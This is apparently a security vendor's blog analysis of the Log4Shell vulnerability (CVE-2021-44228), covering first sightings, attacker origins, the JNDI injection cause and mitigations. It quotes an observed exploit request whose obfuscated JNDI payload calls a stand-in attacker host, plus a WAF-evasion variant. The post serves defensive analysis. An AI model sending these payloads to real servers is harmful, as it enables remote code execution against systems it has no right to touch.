Authors: Ta-Lun Yen, Patrick Kuo
Prologue
In our previous blog post, we mentioned the Log4Shell (CVE-2021-44228) vulnerability and methods for mitigating it, including using our Edge series products to protect your network against such attacks. This vulnerability is very simple to exploit and has a low skill requirement to obtain scripts to execute attacks on your services, with some sources having already dubbed it the ‘most critical vulnerability of the last decade’.
In this post, we’ll share our insights on how the vulnerability started, our analysis on it, and how it spread in the wild.
Insights from our observations
We observed attacker activities starting from early December. However, we suggest that organizations expand their hunt for scanning and exploit activities before this date. We suggest looking into it as early as the start of November.
Exploit attempts for CVE-2021-44228 will look like this:
| GET / HTTP/1.1
Host: <victim ip> User-Agent: ${jndi:${lower:l}${lower:d}a${lower:p}://attacker[.]io:80/callback} Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive |
However, as the affected component does not implement strict input data sanitation, it’s possible to create payloads to circumvent any ordinary firewalls.
Attackers by country
As of the time of this writing, we’re seeing attackers sending payloads over the internet. The attacks mainly come from Germany, Brazil, and United States. However, this does not accurately represent the percentage of compromised log4j2 instances in these countries
We’re also seeing a couple variations of the JNDI template payload being used in an attempt to bypass static WAF rules, for example:
| ${jndi:${lower:l}${lower:d}a${lower:p}://<url>:80/callback} |
Cause
The patch to mitigate this issue was submitted to apache/logging-log4j2 on the 30th of November by a member of the Apache Software Foundation, the organization which sponsors the log4j project. To play it safe, we should assume that it was somehow reported by 3rd parties to the foundation. This means organizations should search through logs as early as the start of November.
The vulnerability is a quite simple JNDI injection flaw, similiar to template injection in other frameworks. What makes this vulnerability so dangerous is that it is in a really, really bad place, because the lookup() call will expand template placeholders in logging messages.
As the function allows one to load a specified JNDI RMI or LDAP name, it will allow direct remote code execution with relatively little effort.
Mitigations
- Upgrade log4j2 to >=2.15.0-rc2. The earlier version, 2.15.0-rc1, is said to fixed the vulnerability, but contains a bypass.
- Employ network protection products, such as EdgeIPS or EdgeFire. We have numerous rules containing prevention for this attack.
- Disable JNDI lookup by setting `-Dlog4j2.formatMsgNoLookups=true` in start arguments of log4j.
- Block external connections from log4j instances. This attack requires the affected servers to fetch payloads from an external location.
The conclusions shared in this research were based on, among other sources, data gathered by TXOne’s IoT/ICS Threat Atlas project.
